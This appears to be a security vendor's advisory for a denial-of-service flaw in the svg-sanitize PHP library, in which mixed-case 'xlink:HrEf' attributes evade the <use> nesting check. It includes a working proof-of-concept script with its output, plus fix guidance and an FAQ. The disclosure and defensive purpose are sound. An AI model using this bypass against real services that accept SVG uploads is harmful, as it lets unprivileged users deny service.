CVE-2026-107381

svg-sanitizer: Mixed-case xlink:HrEf skips the <use> nesting-DoS check in Resolver::processReferences

$useNodeName = $this->xPath->createNodeName('use');
foreach ($this->subjects as $subject) {
    $useElements = $this->xPath->query(
        $useNodeName . '[@href or @xlink:href]',
        $subject->getElement()
    );

// in case the attribute name is `HrEf`/`xlink:HrEf`, adjust it to `href`/`xlink:href`
if (!in_array($attribute->nodeName, $this->allowedAttrs, true)
    && in_array(strtolower($attribute->nodeName), $this->allowedAttrs, true)
) {
    $element->removeAttribute($attribute->nodeName);
    $element->setAttribute(strtolower($attribute->nodeName), $attribute->value);
}

<?php
spl_autoload_register(function ($class) {
    $p = 'enshrined\\svgSanitize\\';
    if (strpos($class, $p) !== 0) return;
    $rel = str_replace('\\', '/', substr($class, strlen($p)));
    $f = __DIR__ . '/svgsan/src/' . $rel . '.php';
    if (file_exists($f)) require $f;
});
$orig = file_get_contents(__DIR__ . '/svgsan/tests/data/useDosTest.svg');
$mut  = str_replace('xlink:href', 'xlink:HrEf', $orig);

function run($label, $input) {
    $s = new \enshrined\svgSanitize\Sanitizer();
    $s->removeRemoteReferences(true);
    $out = $s->sanitize($input);
    echo "[$label]\n";
    echo "  output <use  count : ", substr_count($out, '<use '), "\n";
    echo "  output xlink:href  : ", (strpos($out,'xlink:href')!==false?'YES':'NO'), "\n";
    echo "  output xlink:HrEf  : ", (strpos($out,'xlink:HrEf')!==false?'YES':'NO'), "\n";
}
run('canonical xlink:href (control)', $orig);
run('mixed-case xlink:HrEf (attack)', $mut);

orig use count: 201
mutated input has xlink:HrEf: YES

[canonical xlink:href (control)]
  output <use  count : 0
  output xlink:href  : NO
  output xlink:HrEf  : NO
[mixed-case xlink:HrEf (attack)]
  output <use  count : 201
  output xlink:href  : YES
  output xlink:HrEf  : NO

Anyone who can submit an SVG to an application that sanitizes it with this library and then serves it. No privileges beyond being able to upload or paste an SVG. The output is the project's own tests/data/useDosTest.svg nesting structure, intact, with canonical xlink:href attributes, which is exactly the input the useNestingLimit machinery exists to defuse.

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

CVE-2026-107381 has a CVSS score of 6.5 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.0.0); upgrading removes the vulnerable code path.

Kodem intelligence

Already deployed Kodem?

Stop matching attribute names case sensitively when the reference graph is built. Either select every descendant use and resolve the href in PHP with a case-insensitive local-name lookup (an extension of Helper::getElementHref() at Helper.php:10-19 is the smallest change), or move the cleanHrefAttributes() canonicalization so it runs before $this->elementReferenceResolver->collect() rather than after, so the resolver only ever sees href and xlink:href. The second option also removes the general class of bug where the graph and the cleaner disagree about a node's identity.

1. What is CVE-2026-107381? CVE-2026-107381 is a medium-severity uncontrolled resource consumption vulnerability in enshrined/svg-sanitize (composer), affecting versions <= 0.22.0. It is fixed in 1.0.0. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
2. How severe is CVE-2026-107381? CVE-2026-107381 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of enshrined/svg-sanitize are affected by CVE-2026-107381? enshrined/svg-sanitize (composer) versions <= 0.22.0 is affected.
4. Is there a fix for CVE-2026-107381? Yes. CVE-2026-107381 is fixed in 1.0.0. Upgrade to this version or later.
5. Is CVE-2026-107381 exploitable, and should I be worried? Whether CVE-2026-107381 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-107381 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-107381? Upgrade enshrined/svg-sanitize to 1.0.0 or later.

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